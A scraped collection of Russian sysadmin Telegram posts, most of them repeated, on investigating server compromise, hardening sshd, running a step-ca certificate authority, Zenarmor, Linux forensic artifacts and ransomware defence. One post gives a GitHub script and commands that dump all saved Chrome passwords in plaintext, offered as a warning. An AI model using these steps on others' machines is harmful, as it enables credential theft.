6️⃣ Проверяем системных пользователей, прописанные для них шеллы, прописанные ключи для SSH соединений. Проверяем домашние директории пользователей, от которых работает веб сервер и другие запущенные службы, на предмет подозрительных скриптов. То же самое делаем во временных директориях.
7️⃣ Проверяем прослушиваемые приложениями порты и исходящие подключения:
8️⃣ На всякий случай можно посмотреть и список процессов. Иногда там и вручную глаз за что-то зацепится. Майнеров сразу будет видно.
Больше ничего в голову не приходит. Если знаете, чем ещё можно дополнить этот список, делитесь информацией. Специально его составил, чтобы в нужный момент не думать о том, куда и что смотреть, а просто пройтись по списку. Не скажу, что мне часто приходится сталкиваться с подобными проверками, но тем не мнее, делал это не раз и не два. Когда-то даже статьи об этом писал, но сейчас уже нет времени на них. Примеры статей:
⇨ Взлом сервера centos через уязвимость Bash Shellshock
⇨ Взлом сервера через уязвимость на сайте
⇨ Заражение web сервера вирусом криптомайнером
⇨ Как взламывают веб сервера
#security
1️⃣ Если это веб сервер, то имеет смысл начать с анализа его лог файлов. Если знаете, что у вас была какая-то незакрытая уязвимость в коде, то искать следует её эксплуатацию, либо запуск веб-шеллов.
Обычно уязвимость находят в каком-то конкретном файле, так что смотрим обращения к нему. Если по описанию уязвимости вы видите, что зловред создаёт или загружает новый файл и потом к нему обращается, то ищите эти обращения.
2️⃣ Можно посмотреть список изменённых файлов за последнее время. Не факт, что поможет, так как изменить дату модификации файла не сложно, но тем не менее, это может помочь:
# find /var/www/site -type f -mtime -30 ! -mtime -1 -printf '%TY-%Tm-%Td %TT %p\n' | sort -rТут мы выводим все изменённые файлы за последние 30 дней, кроме сегодняшнего и сортируем их по дате изменения от более свежей к старой. Если список большой, лучше сразу его в файл отправить и анализировать там. Это, кстати, полезная команда именно в таком виде и выводе. Рекомендую сохранить.
3️⃣ Смотрим журналы операционной системы, в том числе аутентификации по SSH. На них хорошо бы ставить мониторинг и отправлять эту информацию на сторонний лог сервер. Смотрим задачи cron, at и systemd timers. Куда конкретно смотреть, писал в отдельной заметке по запланированным задачам.
4️⃣ Не часто, но иногда можно что-то увидеть в истории shell команд или истории команд клиентов СУБД:
◽
# cat ~/.bash_history◽
# cat ~/.mysql_history◽
# sudo -u postgres psql◽
# \s5️⃣ Имеет смысл проверить целостность исполняемых файлов согласно эталонным хеш-значениям из DEB и RPM пакетов.
# dpkg --verify# rpm -Va6️⃣ Проверяем системных пользователей, прописанные для них шеллы, прописанные ключи для SSH соединений. Проверяем домашние директории пользователей, от которых работает веб сервер и другие запущенные службы, на предмет подозрительных скриптов. То же самое делаем во временных директориях.
7️⃣ Проверяем прослушиваемые приложениями порты и исходящие подключения:
# ss -tulnp | column -t# ss -ntu8️⃣ На всякий случай можно посмотреть и список процессов. Иногда там и вручную глаз за что-то зацепится. Майнеров сразу будет видно.
# ps axfБольше ничего в голову не приходит. Если знаете, чем ещё можно дополнить этот список, делитесь информацией. Специально его составил, чтобы в нужный момент не думать о том, куда и что смотреть, а просто пройтись по списку. Не скажу, что мне часто приходится сталкиваться с подобными проверками, но тем не мнее, делал это не раз и не два. Когда-то даже статьи об этом писал, но сейчас уже нет времени на них. Примеры статей:
⇨ Взлом сервера centos через уязвимость Bash Shellshock
⇨ Взлом сервера через уязвимость на сайте
⇨ Заражение web сервера вирусом криптомайнером
⇨ Как взламывают веб сервера
#security
Собрал в одну заметку замечания по настройке службы SSHD, которая обеспечивает подключение к серверам по SSH. Эта служба присутствует практически во всех серверах. Сказал бы даже, что во всех. Я не припоминаю ни одной виртуалки или железного сервера, куда бы не было доступа по SSH. По возможности, доступ к этой службе лучше закрывать от публичного доступа, но иногда это либо затруднительно, либо вообще невозможно.
Настройки этой службы обычно живут в конфигурационном файле
1️⃣ Аутентификация по паролю. Включать или отключать, каждый решает сам для себя. Я лично всегда аутентификацию по паролю оставляю. Просто на всякий случай. Если пароль несловарный, то подобрать его всё равно практически нереально. Проблем с безопасностью это не вызывает.
Если аутентификацию по паролю отключить, то сразу отваливаются все боты, что непрерывно долбятся в службу. Лог будет менее замусорен.
2️⃣ Аутентификация с использованием публичных ключей. По умолчанию она включена и какой-то отдельной настройки не требует. Решил добавить этот пункт, чтобы лишний раз напомнить про ed25519 ключи. Они более надёжны и, что полезно на практике, более короткие. С ними удобнее работать. У меня была отдельная заметка про их использование.
3️⃣ Разрешение на аутентификацию пользователю root. Тут тоже не буду ничего рекомендовать. Каждый сам решает, разрешает он руту аутентификацию или нет. Если я работаю на сервере один, то обычно аутентификацию разрешаю и работаю всегда под root. Я туда только для этого и захожу, мне не нужны другие пользователи с ограниченными правами. Если же вы работаете не один, то разумнее разделять пользователей, работать через sudo и логировать действия всех пользователей. Так что универсального совета быть не может.
Если вы сами ещё не определились, как вам лучше, то отключите эту возможность. Когда разберётесь, сделаете, как вам надо.
4️⃣ Ограничение на подключение на уровне группы или пользователей. Только пользователи определённой группы или явно указанные смогут подключаться по SSH. Я на практике именно для SSH не пользуюсь этой возможностью, а вот пользователей, которые подключаются по SFTP, обычно завожу в отдельную группу и разрешаю по SFTP подключаться только им. Но это другая настройка. Будет ниже.
5️⃣ Порт, на котором работает служба. Стандартный - 22. Большого смысла менять его нет. Как только первые боты разузнают, что у вас на каком-то порту работает служба, начнут туда долбиться, так же, как и на 22-й. Да и в shodan скорее всего информация об этом появится. Я по привычке порт меняю, если он доступен публично. Хуже от этого не будет, особенно если вы от сканирования портов тоже закрылись. Если служба закрыта от публичного доступа, то оставляю, как есть.
6️⃣ Количество попыток входа в систему за один сеанс. При достижении максимально разрешенного числа попыток, сеанс обрывается.
Пользователь подключился, 3 раза неправильно ввёл пароль, его отключает. После этого нужно устанавливать новое соединение.
7️⃣ Ограничение сессий внутри одного SSH-подключения. Не путать с ограничением на количество параллельных сессий с одного хоста. Этот параметр отвечает не за это. Если вы просто подключаетесь к серверу и его администрируете, то вам хватит и одной сессии.
8️⃣ Принудительный запуск какой-то конкретной команды после регистрации пользователя в системе. Например, запускаем не стандартную оболочку, а прокладку, которая будет логировать все действия пользователей. Вот пример с log-user-session. А вот с принудительным запуском подсистемы sftp. Показываю сразу рабочий пример с подключением по sftp заданной группы пользователей, с chroot в конкретную директорию и с umask 002 для новых файлов.
#linux #security
Настройки этой службы обычно живут в конфигурационном файле
/etc/ssh/sshd_config.1️⃣ Аутентификация по паролю. Включать или отключать, каждый решает сам для себя. Я лично всегда аутентификацию по паролю оставляю. Просто на всякий случай. Если пароль несловарный, то подобрать его всё равно практически нереально. Проблем с безопасностью это не вызывает.
PasswordAuthentication yesЕсли аутентификацию по паролю отключить, то сразу отваливаются все боты, что непрерывно долбятся в службу. Лог будет менее замусорен.
2️⃣ Аутентификация с использованием публичных ключей. По умолчанию она включена и какой-то отдельной настройки не требует. Решил добавить этот пункт, чтобы лишний раз напомнить про ed25519 ключи. Они более надёжны и, что полезно на практике, более короткие. С ними удобнее работать. У меня была отдельная заметка про их использование.
PubkeyAuthentication yes3️⃣ Разрешение на аутентификацию пользователю root. Тут тоже не буду ничего рекомендовать. Каждый сам решает, разрешает он руту аутентификацию или нет. Если я работаю на сервере один, то обычно аутентификацию разрешаю и работаю всегда под root. Я туда только для этого и захожу, мне не нужны другие пользователи с ограниченными правами. Если же вы работаете не один, то разумнее разделять пользователей, работать через sudo и логировать действия всех пользователей. Так что универсального совета быть не может.
Если вы сами ещё не определились, как вам лучше, то отключите эту возможность. Когда разберётесь, сделаете, как вам надо.
PermitRootLogin no4️⃣ Ограничение на подключение на уровне группы или пользователей. Только пользователи определённой группы или явно указанные смогут подключаться по SSH. Я на практике именно для SSH не пользуюсь этой возможностью, а вот пользователей, которые подключаются по SFTP, обычно завожу в отдельную группу и разрешаю по SFTP подключаться только им. Но это другая настройка. Будет ниже.
AllowGroups sshgroupAllowUsers user01 user025️⃣ Порт, на котором работает служба. Стандартный - 22. Большого смысла менять его нет. Как только первые боты разузнают, что у вас на каком-то порту работает служба, начнут туда долбиться, так же, как и на 22-й. Да и в shodan скорее всего информация об этом появится. Я по привычке порт меняю, если он доступен публично. Хуже от этого не будет, особенно если вы от сканирования портов тоже закрылись. Если служба закрыта от публичного доступа, то оставляю, как есть.
Port 226️⃣ Количество попыток входа в систему за один сеанс. При достижении максимально разрешенного числа попыток, сеанс обрывается.
MaxAuthTries 3Пользователь подключился, 3 раза неправильно ввёл пароль, его отключает. После этого нужно устанавливать новое соединение.
7️⃣ Ограничение сессий внутри одного SSH-подключения. Не путать с ограничением на количество параллельных сессий с одного хоста. Этот параметр отвечает не за это. Если вы просто подключаетесь к серверу и его администрируете, то вам хватит и одной сессии.
MaxSessions 18️⃣ Принудительный запуск какой-то конкретной команды после регистрации пользователя в системе. Например, запускаем не стандартную оболочку, а прокладку, которая будет логировать все действия пользователей. Вот пример с log-user-session. А вот с принудительным запуском подсистемы sftp. Показываю сразу рабочий пример с подключением по sftp заданной группы пользователей, с chroot в конкретную директорию и с umask 002 для новых файлов.
Subsystem sftp internal-sftp -u 002Match User sftpusers ChrootDirectory /var/www ForceCommand internal-sftp -u 002#linux #security
Ранее рассказывал о том, как можно выпустить самоподписанный сертификат, установить его в веб сервер и настроить доверие. В комментариях были замечания, что это неудобно делать вручную для многих серверов. То решение было описано для одного сервера. Ниже рассмотрю вариант, как решить эту же задачу, только для всей внутренней инфраструктуры.
Речь пойдёт про open source центр сертификации от компании SmallStep - step-ca. Его можно развернуть у себя и использовать для различных задач. Я расскажу на примере получения HTTPS-сертификатов X.509 для локальных веб ресурсов с помощью протокола ACME и одноимённой утилиты. Помимо этого на базе step-ca можно организовать:
◽выдачу SSH-сертификатов для пользователей
◽выпуск токенов единого входа OAuth OIDC
◽выпуск клиентских сертификатов X.509 для TLS аутентификации
Всё это описано в документации и в рамках заметки не раскрыть.
Установка step-ca описана в документации. Выглядит она относительно просто, так как есть готовые пакеты. А относительно, потому что юнит systemd и рабочие каталоги придётся делать вручную.
Вот инструкция для установки на Debian/Ubuntu:
После установки делаем начальную настройку, но перед этим выполним ручную инициализацию. Покажу свои ответы на вопросы в тестовой среде, чтобы вам не гадать, что там отвечать. Хотя по смыслу понятно.
Теперь переносим настройки в
В файл
Содержимое не привожу, оно длинное, в заметку не уместится. Взял 1 в 1 из документации, он же в репозитории.
Служба должна запуститься на порту 443. Можно браузером зайти. Там будет страница с ошибкой, потому что никакого веб интерфейса нет, но тем не менее будет видно, что сервис работает.
Сразу отмечу важный нюанс. По умолчанию step-ca выпускает сертификаты на 24 часа. Для каких-то задач это, наверное, нормально, но для веб серверов не вижу смысла перевыпускать так часто, даже с учётом того, что это автоматизировано. Можете оставить так, а можете увеличить время. Тут об этом рассказано в доках.
Активируем ACME провизионер в step-ca:
Эта команда добавит некоторые настройки в ca.json. Перезапускаем службу:
Теперь можно брать acme.sh или любой другой клиент (certbot и т.д.) и настраивать выпуск сертификатов через свой CA. Для этого надо либо на клиентских системах добавить root_ca.crt в системные, либо при запуске клиента указывать явно:
Работаем с этим CA так же, как и с другими: добавляем серты в веб сервера, настраиваем автообновление. И не забываем в клиентские машины добавить CA в доверенные, чтобы в браузерах не было предупреждения.
#security #webserver
Речь пойдёт про open source центр сертификации от компании SmallStep - step-ca. Его можно развернуть у себя и использовать для различных задач. Я расскажу на примере получения HTTPS-сертификатов X.509 для локальных веб ресурсов с помощью протокола ACME и одноимённой утилиты. Помимо этого на базе step-ca можно организовать:
◽выдачу SSH-сертификатов для пользователей
◽выпуск токенов единого входа OAuth OIDC
◽выпуск клиентских сертификатов X.509 для TLS аутентификации
Всё это описано в документации и в рамках заметки не раскрыть.
Установка step-ca описана в документации. Выглядит она относительно просто, так как есть готовые пакеты. А относительно, потому что юнит systemd и рабочие каталоги придётся делать вручную.
Вот инструкция для установки на Debian/Ubuntu:
# wget https://dl.smallstep.com/cli/docs-ca-install/latest/step-cli_amd64.deb# dpkg -i step-cli_amd64.deb# wget https://dl.smallstep.com/certificates/docs-ca-install/latest/step-ca_amd64.deb# dpkg -i step-ca_amd64.debПосле установки делаем начальную настройку, но перед этим выполним ручную инициализацию. Покажу свои ответы на вопросы в тестовой среде, чтобы вам не гадать, что там отвечать. Хотя по смыслу понятно.
# step-cli ca init✔ Deployment Type: Standalone✔ (e.g. Smallstep): PrivateCA (можно любое имя использовать)✔ (e.g. :443 or 127.0.0.1:443): :443✔ (e.g. you@smallstep.com): zeroxzed@gmail.com✔ [leave empty and we'll generate one]:✔ Password: E}b;-9DU9UyАВ8TU7$FINl-T8OMТеперь переносим настройки в
/etc/step-ca и запускаем как службу. # useradd --user-group --system --home /etc/step-ca --shell /bin/false step# setcap CAP_NET_BIND_SERVICE=+eip $(which step-ca)# mkdir /etc/step-ca# mv $(step path)/* /etc/step-ca# touch /etc/step-ca/password.txt# chmod 600 /etc/step-ca/password.txt# mcedit /etc/step-ca/password.txt# chown -R step:step /etc/step-caВ файл
password.txt записываем пароль от CA, который был создан во время инициализации. В файлах /etc/step-ca/config/ca.json и defaults.json меняем все пути с /root/.step на /etc/step-ca. И создаём юнит для systemd:# mcedit /etc/systemd/system/step-ca.serviceСодержимое не привожу, оно длинное, в заметку не уместится. Взял 1 в 1 из документации, он же в репозитории.
# systemctl daemon-reload# systemctl enable --now step-caСлужба должна запуститься на порту 443. Можно браузером зайти. Там будет страница с ошибкой, потому что никакого веб интерфейса нет, но тем не менее будет видно, что сервис работает.
Сразу отмечу важный нюанс. По умолчанию step-ca выпускает сертификаты на 24 часа. Для каких-то задач это, наверное, нормально, но для веб серверов не вижу смысла перевыпускать так часто, даже с учётом того, что это автоматизировано. Можете оставить так, а можете увеличить время. Тут об этом рассказано в доках.
Активируем ACME провизионер в step-ca:
# step ca provisioner add acme --type ACMEЭта команда добавит некоторые настройки в ca.json. Перезапускаем службу:
# systemctl restart step-caТеперь можно брать acme.sh или любой другой клиент (certbot и т.д.) и настраивать выпуск сертификатов через свой CA. Для этого надо либо на клиентских системах добавить root_ca.crt в системные, либо при запуске клиента указывать явно:
acme.sh --issue --standalone -d debian12-vm \ --server https://10.20.1.36/acme/acme/directory \ --ca-bundle ~/certs/root_ca.crt \ --fullchain-file debian12-vm.crt \ --key-file debian12-vm.keyРаботаем с этим CA так же, как и с другими: добавляем серты в веб сервера, настраиваем автообновление. И не забываем в клиентские машины добавить CA в доверенные, чтобы в браузерах не было предупреждения.
#security #webserver
Существует отдельный класс файрволов - NGFW (Next Generation Firewall). Они либо работают в связке с IDPS (Intrusion Detection and Prevention System), либо включает её в себе. Если говорить простыми словами, то это файрвол, интегрированный с системой обнаружения и предотвращения вторжения.
Наиболее известный бесплатный представитель этого класса - Suricata. Она интегрирована в софтовые файрволы Pfsense, OPNsense, IPFire и некоторые российские продукты. Если не ошибаюсь, то в IDECO и ИКС тоже она. Но ниже речь пойдёт не о ней, а о Zenarmor. Это коммерческий продукт, у которого есть функциональная бесплатная версия.
Обратил на него внимание, потому что он интегрирован в OPNsense, легко и быстро устанавливается и настраивается. Я сделал это, проверил работу, всё получилось с первого раза. Сразу скажу, какие задачи умеет решать бесплатная версия Zenarmor:
▪️ Просмотр текущей сетевой активности в режиме реального времени. Видно, какой хост куда обращается. Во время просмотра можно настроить различные блокировки на уровне хоста, адреса или домена назначения, tcp портов.
▪️ Сбор сводной статистики по сетевой активности с возможностью экспорта.
▪️ Блокировка доступа по сформированным спискам сайтов или типам трафика. Можно заблокировать весь трафик voip или https. Можем заблокировать конкретный сайт vk.com или применить сразу готовый список с сайтами, относящимся к социальным сетям или другим категориям.
▪️ Zenarmor регулярно обновляет сигнатуры угроз со своих серверов и теоретически может их предотвращать. На практике я это не проверял, потому что не знаю как. По идее, он должен автоматически блокировать вредоносную активность вирусов.
Всю основную функциональность я проверил. Развернул по небольшому руководству из этого видео:
▶️ Установка Next Generation FireWall Zenarmor в OPNsense
Собственно, оно и было отправной точкой в этой теме. Установил OPNsense, далее плагин Zenarmor. Подключил тестовую машину с виндой к шлюзу и погонял трафик с неё. Настройка очень простая. В приведённом видео всё есть. Там же примеры возможностей, дашбордов, отчётов. Если вам нужны красивые картинки со статистикой для руководства, то это будет неплохим решением.
Все возможности бесплатной версии Zenarmor перечислены на странице со сравнением тарифных планов. Для использования у себя не нужны никакие регистрации. Просто ставим OPNsense и соответствующий плагин из интерфейса шлюза. На выходе получается более удобный и эффективный продукт, нежели существующая в pfsense связка на базе snort+suricata.
⇨ Сайт
#gateway #security
Наиболее известный бесплатный представитель этого класса - Suricata. Она интегрирована в софтовые файрволы Pfsense, OPNsense, IPFire и некоторые российские продукты. Если не ошибаюсь, то в IDECO и ИКС тоже она. Но ниже речь пойдёт не о ней, а о Zenarmor. Это коммерческий продукт, у которого есть функциональная бесплатная версия.
Обратил на него внимание, потому что он интегрирован в OPNsense, легко и быстро устанавливается и настраивается. Я сделал это, проверил работу, всё получилось с первого раза. Сразу скажу, какие задачи умеет решать бесплатная версия Zenarmor:
▪️ Просмотр текущей сетевой активности в режиме реального времени. Видно, какой хост куда обращается. Во время просмотра можно настроить различные блокировки на уровне хоста, адреса или домена назначения, tcp портов.
▪️ Сбор сводной статистики по сетевой активности с возможностью экспорта.
▪️ Блокировка доступа по сформированным спискам сайтов или типам трафика. Можно заблокировать весь трафик voip или https. Можем заблокировать конкретный сайт vk.com или применить сразу готовый список с сайтами, относящимся к социальным сетям или другим категориям.
▪️ Zenarmor регулярно обновляет сигнатуры угроз со своих серверов и теоретически может их предотвращать. На практике я это не проверял, потому что не знаю как. По идее, он должен автоматически блокировать вредоносную активность вирусов.
Всю основную функциональность я проверил. Развернул по небольшому руководству из этого видео:
▶️ Установка Next Generation FireWall Zenarmor в OPNsense
Собственно, оно и было отправной точкой в этой теме. Установил OPNsense, далее плагин Zenarmor. Подключил тестовую машину с виндой к шлюзу и погонял трафик с неё. Настройка очень простая. В приведённом видео всё есть. Там же примеры возможностей, дашбордов, отчётов. Если вам нужны красивые картинки со статистикой для руководства, то это будет неплохим решением.
Все возможности бесплатной версии Zenarmor перечислены на странице со сравнением тарифных планов. Для использования у себя не нужны никакие регистрации. Просто ставим OPNsense и соответствующий плагин из интерфейса шлюза. На выходе получается более удобный и эффективный продукт, нежели существующая в pfsense связка на базе snort+suricata.
⇨ Сайт
#gateway #security
Посмотрел запись шикарного выступления на тему информационной безопасности:
▶️ Топ-10 артефактов Linux для расследования инцидентов
Очень люблю такой формат, где много примеров и конкретики. Прям всё выступление это примеры из практики. Постарался законспектировать самую суть, чтобы можно было сохранить и вынести для себя пользу. Рекомендую выступление посмотреть, а мою заметку сохранить как шпаргалку. Без просмотра видео от шпаргалки будет не так много пользы. Я зафиксировал авторские синтаксис и пояснения из выступления.
Автор рассказывает про 10 команд для анализа системы в режиме реального времени, которыми пользуется:
◽️
◽️
◽️
◽️
◽️
◽️
◽️
◽️
📌 ТОП 10 системных артефактов, которые проверяем при взломах:
▪️SYSTEM INFO:
◽️/proc/version, /etc/release, /etc/localtime - информация о системе, времени
◽️/proc/mounts, /etc/mtab - монтирование файловых систем
◽️/etc/network/interfaces, /var/lib/NetworkManager/*.lease, /var/lib/dhcp/*.lease, /etc/sysconfig/network-scripts/ifcfg-*, /etc/sysconfig/iptables - сеть, маршруты
◽️/proc/[PID]/cmdline - процессы
▪️LOGS в /var/log:
◽️auth.log, secure.log - аутентификации пользователей
◽️lastlog - последний логин пользователей
◽️btmp - неудачные попытки логина
◽️wtmp - записи о каждом логине, логауте
◽️cron - планировщик cron
◽️dpkg, apt/history.log - установка/удаление пакетов
◽️audit/audit.log - логи аудита, если запущен
▪️SHELL HISTORY
~/bash_history, ~/.history, ~/sh_history, ~/.*_history - история команд оболочки, обязательно настраиваем у всех HISTTIMEFORMAT.
▪️FILE SYSTEM
Ищем изменённые, скрытые, большие файлы, символьные ссылки, расширенные разрешения, setuid
▪️USER ACCOUNTS
/etc/passwd, /etc/shadow, /etc/group, /etc/sudoers, /etc/sudoers.d/*, /etc/profile, /etc/profile.d/*, /etc/bash.bashrc
▪️PUBLIC FACING APP
Публичные приложения, запущенные на сервере: apache, nginx и т.д. Смотрим архитектуру, логи, рабочие директории, версию, уязвимости и т.д.
▪️PERSIST
Места, где злоумышленник или вирус может закрепиться:
/etc/cron/, /var/spool/cron/, /var/spool/anacron, /etc/crontab, /etc/at, /etc/inittab, /etc/init.d/etc/rd[0-6].d/, /etc/rc.boot/, /etc/init.conf, /etc/init, /lib/systemd/system/*, /etc/systemd/system/*
Основное внимание - cron и службы.
▪️CONFIG
Все конфигурации в /etc/
▪️APPLICATION DATA
~/.config, ~/.cache, ~/.local и т.д.
▪️TMP
/tmp, /var/tmp, /dev/shm, /var/run, /var/spool
Это конспект примерно половины выступления. Дальше в основном теория на тему того, как надо защищать сервера и анализировать подозрительную активность и ответы на вопросы. В вопросах дополнили:
- Проверяем файлы в системе на соответствие того, что было установлено из пакетов
- Проверяем реальные сетевые интерфейсы через команду ip, так как не всё может быть отражено в конфигурационных файлах
✅ Отдельно привожу ссылку на свою недавнюю публикацию, где я собрал в похожий список все действия на основе своего опыта, которые имеет смысл выполнить, если у вас есть подозрение на то, что ваш сервер скомпрометировали.
#security
Очень люблю такой формат, где много примеров и конкретики. Прям всё выступление это примеры из практики. Постарался законспектировать самую суть, чтобы можно было сохранить и вынести для себя пользу. Рекомендую выступление посмотреть, а мою заметку сохранить как шпаргалку. Без просмотра видео от шпаргалки будет не так много пользы. Я зафиксировал авторские синтаксис и пояснения из выступления.
Автор рассказывает про 10 команд для анализа системы в режиме реального времени, которыми пользуется:
◽️
ps auxwf - список процессов с дополнительной информацией в древовидном представлении◽️
ss -tupln и netstat -plunto - открытые порты (plunto - имя героя из мультика с микки маусом)◽️
last -Faiwx - список логинов пользователей◽️
tail /var/log/<file> и cat ~/.bash_history - просмотр различных системных логов◽️
ls -lta - список файлов, отсортированный по времени изменения◽️
lsof -V - открытые в настоящий момент файлы ◽️
find / -mtime -2 -ls - все файлы, изменённые за последние 2 дня◽️
stat || statx || istat - различные команды для получения информации о файловой системе📌 ТОП 10 системных артефактов, которые проверяем при взломах:
▪️SYSTEM INFO:
◽️/proc/version, /etc/release, /etc/localtime - информация о системе, времени
◽️/proc/mounts, /etc/mtab - монтирование файловых систем
◽️/etc/network/interfaces, /var/lib/NetworkManager/*.lease, /var/lib/dhcp/*.lease, /etc/sysconfig/network-scripts/ifcfg-*, /etc/sysconfig/iptables - сеть, маршруты
◽️/proc/[PID]/cmdline - процессы
▪️LOGS в /var/log:
◽️auth.log, secure.log - аутентификации пользователей
◽️lastlog - последний логин пользователей
◽️btmp - неудачные попытки логина
◽️wtmp - записи о каждом логине, логауте
◽️cron - планировщик cron
◽️dpkg, apt/history.log - установка/удаление пакетов
◽️audit/audit.log - логи аудита, если запущен
▪️SHELL HISTORY
~/bash_history, ~/.history, ~/sh_history, ~/.*_history - история команд оболочки, обязательно настраиваем у всех HISTTIMEFORMAT.
▪️FILE SYSTEM
Ищем изменённые, скрытые, большие файлы, символьные ссылки, расширенные разрешения, setuid
find / -xdev -print0 | xargs -0 stat -- printf="%i,%h,%n,%x,%y,%z,%w,%U,%G,%A,%s\n" 2>/dev/nullfind "${MOUNTPOINT}" -xdev -print0 | xargs -0 -c "%Y %X %Z %A %U %G %n" >> timestamps.dat▪️USER ACCOUNTS
/etc/passwd, /etc/shadow, /etc/group, /etc/sudoers, /etc/sudoers.d/*, /etc/profile, /etc/profile.d/*, /etc/bash.bashrc
▪️PUBLIC FACING APP
Публичные приложения, запущенные на сервере: apache, nginx и т.д. Смотрим архитектуру, логи, рабочие директории, версию, уязвимости и т.д.
▪️PERSIST
Места, где злоумышленник или вирус может закрепиться:
/etc/cron/, /var/spool/cron/, /var/spool/anacron, /etc/crontab, /etc/at, /etc/inittab, /etc/init.d/etc/rd[0-6].d/, /etc/rc.boot/, /etc/init.conf, /etc/init, /lib/systemd/system/*, /etc/systemd/system/*
Основное внимание - cron и службы.
▪️CONFIG
Все конфигурации в /etc/
▪️APPLICATION DATA
~/.config, ~/.cache, ~/.local и т.д.
▪️TMP
/tmp, /var/tmp, /dev/shm, /var/run, /var/spool
Это конспект примерно половины выступления. Дальше в основном теория на тему того, как надо защищать сервера и анализировать подозрительную активность и ответы на вопросы. В вопросах дополнили:
- Проверяем файлы в системе на соответствие того, что было установлено из пакетов
- Проверяем реальные сетевые интерфейсы через команду ip, так как не всё может быть отражено в конфигурационных файлах
✅ Отдельно привожу ссылку на свою недавнюю публикацию, где я собрал в похожий список все действия на основе своего опыта, которые имеет смысл выполнить, если у вас есть подозрение на то, что ваш сервер скомпрометировали.
#security
Please open Telegram to view this post
VIEW IN TELEGRAM
YouTube
Топ-10 артефактов Linux для расследования инцидентов
Наглядный пример, почему не стоит сохранять пароли в браузерах. Их оттуда очень легко утянуть незаметно для пользователя. Я что 10 лет назад видел, как это просто сделать, что сейчас.
До последнего думал, что у меня ничего не получится, когда пробовал. Не верил, что за столько лет в хроме ничего не поменялось. Что-то может и поменялось, но всё равно все пароли можно разом утянуть. Можете сами проверить.
Пример для ОС Windows. Идём в репозиторий:
⇨ https://github.com/ohyicong/decrypt-chrome-passwords
Скачиваем исходник файла decrypt_chrome_password.py. Ставим на машину python. Уже не помню, как я ставил на тестовую тачку. Он тут уже стоял на тот момент, когда я тестировал.
Установил зависимости:
Запускаю скрипт. Перед этим специально сохранил пароль от одного сайта:
Получаю тут же в консоли логин и пароль в открытом виде. Он же лежит рядом со скриптом в файле decrypted_password.csv. В нём будут лежать все сохранённые в браузере пароли.
Я перестал сохранять важные пароли в браузерах с тех пор, как впервые увидел подобный трюк. Какие-то малозначительные сохраняю для удобства, либо где есть второй фактор. На что-то важное отменяю сохранение.
#security
До последнего думал, что у меня ничего не получится, когда пробовал. Не верил, что за столько лет в хроме ничего не поменялось. Что-то может и поменялось, но всё равно все пароли можно разом утянуть. Можете сами проверить.
Пример для ОС Windows. Идём в репозиторий:
⇨ https://github.com/ohyicong/decrypt-chrome-passwords
Скачиваем исходник файла decrypt_chrome_password.py. Ставим на машину python. Уже не помню, как я ставил на тестовую тачку. Он тут уже стоял на тот момент, когда я тестировал.
Установил зависимости:
> pip install pycryptodomex sqlite sqliteЗапускаю скрипт. Перед этим специально сохранил пароль от одного сайта:
> python decrypt_chrome_password.pyПолучаю тут же в консоли логин и пароль в открытом виде. Он же лежит рядом со скриптом в файле decrypted_password.csv. В нём будут лежать все сохранённые в браузере пароли.
Я перестал сохранять важные пароли в браузерах с тех пор, как впервые увидел подобный трюк. Какие-то малозначительные сохраняю для удобства, либо где есть второй фактор. На что-то важное отменяю сохранение.
#security
⚠️ На прошлой неделе подписчик поделился жуткой историей с шифровальщиком. Вообще, они все жуткие, но если бэкапы тоже зашифрованы, то это вообще тушите свет. А там такая история, что в городе пострадало много организаций по одной и той же схеме. Кто-то точечно и системно поработал.
Человек предложил мне поделиться своим опытом на этот счёт. Я сам не раз сталкивался с шифровальщиками. Бэкапы не терял, только данные, к которым был доступ у пользователей. Сначала не хотел писать, так как тут чего-то нового или особенного не расскажешь. Подойдут обычные мероприятия по защите от вирусов. Потом всё же решил написать, чтобы лишний раз напомнить о том, что от шифровальщиков никто не застрахован. Лучше лишний раз поразмыслить над тем, что ты будешь делать, если завтра тебе все данные зашифруют.
Я всегда так делаю. Мысленно представляю, что завтра у меня недоступны некоторые или все сервера. Какой план на этот счёт? Чтобы не было всех серверов, сразу отсекаем по максимуму доступ к бэкапам. Я уже много раз писал и рассказывал:
❗️Бэкап-сервера должны сами ходить за данными. У серверов с данными не должно быть полного доступа к бэкапам.
Иногда такую схему трудно организовать, или просто неудобно. Может быть по-другому. Но хоть одна копия бэкапов без доступа с рабочих серверов должна быть. Иначе будет как у автора комментария к заметке, когда все бэкапы были зашифрованы с самих серверов.
Подробно про бэкапы я не так давно рассказывал в отдельных заметках:
⇨ Два принципиально разных подхода к созданию бэкапов
⇨ Проверка бэкапов
По моему мнению надёжные бэкапы - основа спокойной жизни админа. Дальше уже реализуем другие организационные меры:
🔴 Закрываем доступ из интернета к внутренним сервисам. По минимуму выставляем их наружу. Не надо без крайней нужды пробрасывать, к примеру, rdp порт. Меня разок через него шифровали. И хотя чаще всего от этого не будет проблем, но раз в 10 лет обязательно найдётся какая-нибудь уязвимость, которая в обход аутентификации позволит выполнить вредоносный код на сервере.
🔴 Используем антивирусы на пользовательских компах. Если у вас бюджетка или прям совсем бедный бизнес, который не может себе позволить купить антивирус, поставьте бесплатный от Касперского. Базово он защитит от вирусов.
🔴 Не давайте пользователям полные права. Вкупе с антивирусом, это закроет большую часть проблем с их стороны. Хоть и не все.
🔴 Не оставляйте свои рабочие места включенными 24/7. Я сам такое практиковал раньше. Удобно, когда рабочий комп всегда включен и к нему можно удалённо подключиться. Сейчас даже дома не оставляю свой рабочий ноут включённым, когда ухожу из дома или надолго отхожу от рабочего места. Выключаю ноут, когда надо - включаю. RDP тоже на нём отключен.
🔴 Не подключайте к своему рабочему компу бэкапы, не настраивайте беспарольные доступы куда-либо, не назначайте лишние права своей учётке в инфраструктуре. Нередко на компы админов злоумышленники заходят руками и смотрят, к чему есть доступ. Если у вас пароли в KeePass, а файл закрыт надёжным паролем, уже с вашего компа ничего не сделать. Пароли в Winbox и Xshell у меня зашифрованы мастер-паролем, на ключе для ssh тоже пароль.
Если сами страдали от шифровальщиков, расскажите, как они заходили к вам и к каким последствиям это приводило. Ко мне один раз заходили через rdp, один раз через письмо у пользователя. У него, кстати, антивирус не помог. Не распознал шифровальщика. Всё, к чему у пользователя был доступ, зашифровали.
#security
